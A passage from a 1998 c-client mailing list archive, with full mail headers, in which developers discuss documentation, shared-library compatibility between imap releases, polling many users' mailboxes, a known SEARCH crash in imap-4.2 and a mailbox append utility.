course possible, but... On internal.doc: I doubt that technical work will help. It seems not 2 but 20 years old. Just editing won't help. > >Is there an existing way to pass these things in to avoid >calling mm_login()? > >Bentley > From pinedev@shivax2.cac.washington.edu Wed Jul 22 19:47:02 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Wed, 22 Jul 1998 19:47:02 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id TAA07167 for ; Wed, 22 Jul 1998 19:47:00 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id TAA13462; Wed, 22 Jul 1998 19:46:56 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id TAA18749; Wed, 22 Jul 1998 19:46:52 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id TAA45836 for ; Wed, 22 Jul 1998 19:45:39 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id TAA16886 for ; Wed, 22 Jul 1998 19:45:38 -0700 Received: from thorin.cmc.net (thorin.cmc.net [206.102.31.253]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id TAA13444 for ; Wed, 22 Jul 1998 19:45:36 -0700 Received: (from bem@localhost) by thorin.cmc.net (8.9.0.Beta3/8.7.3) id TAA16292 for c-client@cac.washington.edu; Wed, 22 Jul 1998 19:45:13 -0700 Message-Id: <19980722194513.A16254@cmc.net> Date: Wed, 22 Jul 1998 19:45:13 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: brian moore To: c-client@CAC.Washington.EDU Subject: Re: Passing in a mailboxname and password into Mail_Open() In-Reply-To: <002a01bdb5e6$3f2d97a0$66a6b326@itjfvkli>; from Aleksandr Shvedov on Wed, Jul 22, 1998 at 10:01:50PM -0500 References: <002a01bdb5e6$3f2d97a0$66a6b326@itjfvkli> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Uptime: 7:43pm up 65 days, 4:02, 2 users, load average: 1.10, 1.10, 1.09 X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Wed, Jul 22, 1998 at 10:01:50PM -0500, Aleksandr Shvedov wrote: > On internal.doc: I doubt that technical work will help. It seems not 2 but > 20 years old. Just editing won't help. I'm pondering HTML'izing something similar to internal.txt for grins. An 'exercise in grokking the code', perhaps. -- Brian Moore Kill A Spammer For Jesus Sysadmin, C/Perl Hacker, Usenet Vandal From pinedev@shivax2.cac.washington.edu Wed Jul 22 23:57:21 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Wed, 22 Jul 1998 23:57:20 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id XAA05911 for ; Wed, 22 Jul 1998 23:57:16 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id XAA01753; Wed, 22 Jul 1998 23:57:09 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id XAA25207; Wed, 22 Jul 1998 23:57:06 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id XAA25570 for ; Wed, 22 Jul 1998 23:55:45 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id XAA07043 for ; Wed, 22 Jul 1998 23:55:43 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (chan@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id XAA16430 for ; Wed, 22 Jul 1998 23:55:41 -0700 Message-Id: Date: Wed, 22 Jul 1998 23:53:34 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: brian moore Cc: c-client@CAC.Washington.EDU Subject: Re: Passing in a mailboxname and password into Mail_Open() In-Reply-To: <19980722194513.A16254@cmc.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Wed, 22 Jul 1998 19:45:13 -0700, brian moore wrote: > I'm pondering HTML'izing something similar to internal.txt for grins. For what it's worth: I oppose HTMLizing internal.txt, and would probably not distribute an HTML version. A programmer should be able to read it in an ordinary editor inside an ordinary terminal emulator. This isn't user documentation that needs to be pretty; this is programmer documentation that needs to be accessible. From pinedev@shivax2.cac.washington.edu Thu Jul 23 01:31:37 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Thu, 23 Jul 1998 01:31:37 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id BAA26704 for ; Thu, 23 Jul 1998 01:31:34 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id BAA03001; Thu, 23 Jul 1998 01:31:02 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id BAA26986; Thu, 23 Jul 1998 01:30:56 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id BAA60890 for ; Thu, 23 Jul 1998 01:29:41 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu1.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id BAA26691 for ; Thu, 23 Jul 1998 01:29:40 -0700 Received: from nixpbe.pdb.sni.de (mail.sni.de [192.109.2.33]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id BAA02905 for ; Thu, 23 Jul 1998 01:29:35 -0700 Received: (from nerv@localhost) by nixpbe.pdb.sni.de (8.8.8/8.8.8) id IAA06354 for c-client@cac.washington.edu; Thu, 23 Jul 1998 08:29:24 GMT Received: from sni.de (ao13.mow.sni.de [149.202.201.33]) by itsmx1.mow.sni.de (8.8.3/8.8.3) with ESMTP id MAA21496 for ; Thu, 23 Jul 1998 12:29:13 +0400 (MSD) Message-Id: <35B6F458.7193047B@sni.de> Date: Thu, 23 Jul 1998 12:29:12 +0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Andrej Borsenkow To: c-client mailing list Subject: Binary compatibility between c-client releases MIME-Version: 1.0 Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN To which extent are different c-client releases binary compatible? That is, is it possible to build shared c-client library and simply replace existing one? I have at least two reasons to ask: 1. imapd + imap-util alone include 13 different programs. Add to this Pine and possible "third-party" software (e.g. TkRat). Currently, with any bug-fix in c-client it is necessary to recompile everything. But c-client code changes probably more often than programs itself. It greately simpifies maintenance. 2. These 13 programs statically compiled on i386-sni-sysv4 with egcs-1.0.3 (-O2) take approximately 5MB (without Pine or anything else). The same programs on mips-sni-sysv4 compiled with shared c-client (native compiler) take less than 1MB. thank you for any hint -- ============================================================ Andrej Borsenkow Fax: +7 (095) 796 99 20 SNI ITS Moscow Tel: +7 (095) 796 99 24 NERV: borsenkow.msk E-Mail: borsenkow.msk@sni.de ============================================================ ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jul 23 02:01:26 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Thu, 23 Jul 1998 02:01:25 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id CAA27632 for ; Thu, 23 Jul 1998 02:01:24 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id CAA03386; Thu, 23 Jul 1998 02:01:20 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id CAA21317; Thu, 23 Jul 1998 02:01:17 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id CAA53472 for ; Thu, 23 Jul 1998 02:00:09 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id CAA11642 for ; Thu, 23 Jul 1998 02:00:07 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (foo@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id CAA03341 for ; Thu, 23 Jul 1998 02:00:04 -0700 Message-Id: Date: Thu, 23 Jul 1998 01:37:40 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Andrej Borsenkow Cc: c-client mailing list Subject: re: Binary compatibility between c-client releases In-Reply-To: <35B6F458.7193047B@sni.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Thu, 23 Jul 1998 12:29:12 +0400, Andrej Borsenkow wrote: > To which extent are different c-client releases binary compatible? That > is, is it possible to build shared c-client library and simply replace > existing one? There were significant API changes between imap-3.6 and imap-4, and again between imap-4 and imap-4.1. imap-4.2 and imap-4.3.BETA have the same API as imap-4.1. I can not promise that imap-4.3.BETA won't have API changes; although it is likely that future API changes will take the form of extensions and the days of incompatible API changes are now over for good. But, once again, "no promises". ;-) There are some factors that interfere with *me* supporting c-client as a shared library: 1) the general inconvenience and nuisance in the development cycle (I am perpetually in a development cycle....) of shared libraries. 2) the fact that every system has its own incompatible way of doing shared libraries. I don't want to do Linux-only or Solaris-only; if I do shared libraries I want to do it on a comprehensive basis for all platforms that allow shared libraries. 3) the system that I use does not allow shared libraries other than what is provided by that vendor. A certain well-known figure in the computer industry decreed that shared libraries were not for mere customers... Since I don't/can't use them on my own system, I am very uncomfortable about inflicting them on others. I always am the first tester of new code and my personal mailbox is the first victim... ;-) 4) in the Pine binary distributions, we want to distribute completely self contained binaries without requiring external files. In other words, I won't offer shared libraries at the current time; but I encourage you (or anyone else who feels that it's important) to do it for your own systems. I would also give serious consideration to proposed code changes that would make shared libraries easier, assuming there is no negative in doing so. With any luck, it should be just a matter of local patches to the c-client Makefile. From pinedev@shivax2.cac.washington.edu Thu Jul 30 15:15:13 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Thu, 30 Jul 1998 15:15:13 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id PAA25070 for ; Thu, 30 Jul 1998 15:15:12 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id PAA06349; Thu, 30 Jul 1998 15:15:05 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id PAA00554; Thu, 30 Jul 1998 15:14:58 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id PAA40400 for ; Thu, 30 Jul 1998 15:13:14 -0700 Received: from callware.com (cwtape.callware.com [209.160.61.3]) by mxu3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id PAA06023 for ; Thu, 30 Jul 1998 15:13:13 -0700 Received: from CallWare-Message_Server by callware.com with Novell_GroupWise; Thu, 30 Jul 1998 16:12:24 -0600 Message-Id: Date: Thu, 30 Jul 1998 16:11:57 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Adam Bentley" To: c-client@u.washington.edu Subject: Polling for new messages among several users' boxes Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I need to provide new mail notification and was planning to=20 reuse an IMAP connection using mail_open to change users and check for new messages in everybody's boxes. Please tell me if there is a better way to do this from the client side. Thanks Bentley ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jul 30 15:58:03 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Thu, 30 Jul 1998 15:58:03 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id PAA24955 for ; Thu, 30 Jul 1998 15:58:02 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id PAA07420; Thu, 30 Jul 1998 15:57:56 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id PAA23232; Thu, 30 Jul 1998 15:57:45 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id PAA25974 for ; Thu, 30 Jul 1998 15:56:28 -0700 Received: from ares.voicerite.com (root@totalcall.com [209.203.195.254]) by mxu3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id PAA10496 for ; Thu, 30 Jul 1998 15:56:26 -0700 Received: from ashvedov (ashvedov.voicerite.com [192.168.1.38]) by ares.voicerite.com (8.8.3/8.8.3) with SMTP id SAA26723 for ; Thu, 30 Jul 1998 18:56:39 -0400 Message-Id: <003a01bdbc0d$4e76fee0$2601a8c0@ashvedov.voicerite> Date: Thu, 30 Jul 1998 18:56:36 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Aleksandr M. Shvedov" To: Subject: Re: Polling for new messages among several users' boxes MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN >I need to provide new mail notification and was planning to >reuse an IMAP connection using mail_open to change users >and check for new messages in everybody's boxes. > >Please tell me if there is a better way to do this from the client side. > >Thanks >Bentley Adam, mail_open is smart enough NOT to open a stream if the current one is OK. But! If mbxes differ, mail_open will close/reopen a stream each time. You might get tired reopening. So, in my opinion, it's your environment - where is what - that matters. If you have 5 users, you can keep 5 streams open and use a user/stream lookup table, for example. From pinedev@shivax2.cac.washington.edu Thu Jul 30 16:12:38 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Thu, 30 Jul 1998 16:12:38 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id QAA31883 for ; Thu, 30 Jul 1998 16:12:36 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id QAA07799; Thu, 30 Jul 1998 16:12:31 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id QAA24029; Thu, 30 Jul 1998 16:12:27 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id QAA60704 for ; Thu, 30 Jul 1998 16:11:25 -0700 Received: from callware.com (cwtape.callware.com [209.160.61.3]) by mxu1.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id QAA31260 for ; Thu, 30 Jul 1998 16:11:24 -0700 Received: from CallWare-Message_Server by callware.com with Novell_GroupWise; Thu, 30 Jul 1998 17:06:52 -0600 Message-Id: Date: Thu, 30 Jul 1998 17:06:15 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Adam Bentley" To: c-client@u.washington.edu, ashvedov@voicerite.com Subject: Re: Polling for new messages among several users' boxes Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Has anybody tried to set up a priviledged user who can check for new-mail in anybody's mailbox? Can IMAP support that? I would like to be able to check 1,000 mailboxes for=20 new mail without having to login/logout multiple times or open/close=20 mailstream session multiple times. Bentley >>> "Aleksandr M. Shvedov" 07/30 4:56 PM >>> >I need to provide new mail notification and was planning to >reuse an IMAP connection using mail_open to change users >and check for new messages in everybody's boxes. > >Please tell me if there is a better way to do this from the client side. > >Thanks >Bentley Adam, mail_open is smart enough NOT to open a stream if the current one is OK. But! If mbxes differ, mail_open will close/reopen a stream each time. You might get tired reopening. So, in my opinion, it's your environment - where is what - that matters. If you have 5 users, you can keep 5 streams open and use a user/stream lookup table, for example. From pinedev@shivax2.cac.washington.edu Thu Jul 30 17:06:10 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Thu, 30 Jul 1998 17:06:09 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id RAA21695 for ; Thu, 30 Jul 1998 17:06:08 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id RAA09050; Thu, 30 Jul 1998 17:06:01 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id RAA06242; Thu, 30 Jul 1998 17:05:55 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id RAA36142 for ; Thu, 30 Jul 1998 17:01:28 -0700 Received: from ares.voicerite.com (root@totalcall.com [209.203.195.254]) by mxu2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id RAA17191 for ; Thu, 30 Jul 1998 17:01:26 -0700 Received: from ashvedov (ashvedov.voicerite.com [192.168.1.38]) by ares.voicerite.com (8.8.3/8.8.3) with SMTP id UAA06910; Thu, 30 Jul 1998 20:01:35 -0400 Message-Id: <006101bdbc16$60f19770$2601a8c0@ashvedov.voicerite> Date: Thu, 30 Jul 1998 20:01:33 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Aleksandr M. Shvedov" To: "Adam Bentley" , Subject: Re: Polling for new messages among several users' boxes MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN > Has anybody tried to set up a priviledged user who can >check for new-mail in anybody's mailbox? Can IMAP support >that? I would like to be able to check 1,000 mailboxes for >new mail without having to login/logout multiple times or open/close >mailstream session multiple times. It's simple for UNIX (AIX, Linux etc.) systems, if no IMAP client is to be involved: go remotely to the machine on which mbxes are located and check: - /var/spool/mail/username file: all msgs that are still there are "recent" in IMAP terms. IMAP server moves them into ~/mbox file when the session ends; - ~/mbox file for messages with "Status: O" string in the header (these are not "recent" but just "unseen"). Note 1: "Status: RO" in mbox' headers means "seen". I prefer to read it as R(ead) O(lready). Note 2: ~ means user's home directory (smth like /home/username, it's one of system settings), so ~/mbox might be a file whose actual pathname is /home/username/mbox. From pinedev@shivax2.cac.washington.edu Wed Aug 5 20:39:26 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Wed, 5 Aug 1998 20:39:25 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id UAA23876 for ; Wed, 5 Aug 1998 20:39:22 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id UAA00969; Wed, 5 Aug 1998 20:39:17 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id UAA25577; Wed, 5 Aug 1998 20:39:07 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id UAA31630 for ; Wed, 5 Aug 1998 20:36:51 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id UAA12309 for ; Wed, 5 Aug 1998 20:36:50 -0700 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id UAA03427; Wed, 5 Aug 1998 20:36:48 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (gtw@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id UAA26046; Wed, 5 Aug 1998 20:36:43 -0700 Message-Id: Date: Wed, 5 Aug 1998 20:36:42 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Lai Yiu Fai Cc: IMAP Interest List , c-client Interest List Subject: Re: announcing: imap-4.2 toolkit now available In-Reply-To: <19980805113057.A14033@ust.hk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Wed, 5 Aug 1998, Lai Yiu Fai wrote: > It found the latest imap-4.2 dumps core with a "SEARCH TO" command. It can be > reproduced with a Pine 3.96 client on any mailbox (";"Select->"T"ext->"T"o-> > "any string"). This is a known problem that is fixed in the imap-4.3.BETA. From pinedev@shivax2.cac.washington.edu Mon Aug 17 09:57:29 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Mon, 17 Aug 1998 09:57:29 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id JAA26466 for ; Mon, 17 Aug 1998 09:57:28 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id JAA19777; Mon, 17 Aug 1998 09:57:24 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id JAA09736; Mon, 17 Aug 1998 09:57:09 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id JAA27078 for ; Mon, 17 Aug 1998 09:54:17 -0700 Received: from mailhub2.liv.ac.uk (mailhub2.liv.ac.uk [138.253.100.95]) by mxu3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id JAA05171 for ; Mon, 17 Aug 1998 09:54:16 -0700 Received: from news2.liv.ac.uk ([138.253.100.112]) by mailhub2.liv.ac.uk with esmtp (Exim 1.92 #1) for c-client@u.washington.edu id 0z8SXs-0004UB-00; Mon, 17 Aug 1998 17:54:12 +0100 Received: (from qq11@localhost) by news2.liv.ac.uk (8.8.7/ajt5) id RAA07160; Mon, 17 Aug 1998 17:53:56 +0100 (BST) Message-Id: Date: Mon, 17 Aug 1998 17:53:56 +0100 (BST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Alan Thew To: c-client@u.washington.edu Subject: simple Unix cmd line mailbox append util? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: qq11@news2.liv.ac.uk X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Has anyone written one of these with c-client before I try and hack one together? This would use /etc/rimap type authentication and thus require a malbox as single arg. Thanks -- Alan Thew alan.thew@liverpool.ac.uk Computing Services,University of Liverpool Fax: +44 151 794-4442 ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Aug 17 10:10:10 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Mon, 17 Aug 1998 10:10:10 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id KAA26775 for ; Mon, 17 Aug 1998 10:10:09 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id KAA20117; Mon, 17 Aug 1998 10:10:01 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id KAA03432; Mon, 17 Aug 1998 10:09:50 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id KAA27056 for ; Mon, 17 Aug 1998 10:07:57 -0700 Received: from ares.voicerite.com (root@totalcall.com [209.203.195.254]) by mxu4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id KAA21392 for ; Mon, 17 Aug 1998 10:07:56 -0700 Received: from ashvedov (ashvedov.voicerite.com [192.168.1.38]) by ares.voicerite.com (8.8.3/8.8.3) with SMTP id NAA23242; Mon, 17 Aug 1998 13:07:52 -0400 Message-Id: <007e01bdca01$7d8702a0$2601a8c0@ashvedov.voicerite> Date: Mon, 17 Aug 1998 13:07:17 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Aleksandr M. Shvedov" To: "Alan Thew" , Subject: Re: simple Unix cmd line mailbox append util? MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I think what you need is in imap-utils_tar.Z at ftp://ftp.cac.washington.edu/mail Actually, it's imapcopy with very small and obvious changes. I tested these utils, they really work. Minor changes I did are just casting in siglocal.c and smth else. Alex Shvedov From pinedev@shivax2.cac.washington.edu Mon Aug 17 10:13:50 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Mon, 17 Aug 1998 10:13:50 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id KAA26917 for ; Mon, 17 Aug 1998 10:13:49 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id KAA20272; Mon, 17 Aug 1998 10:13:44 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu 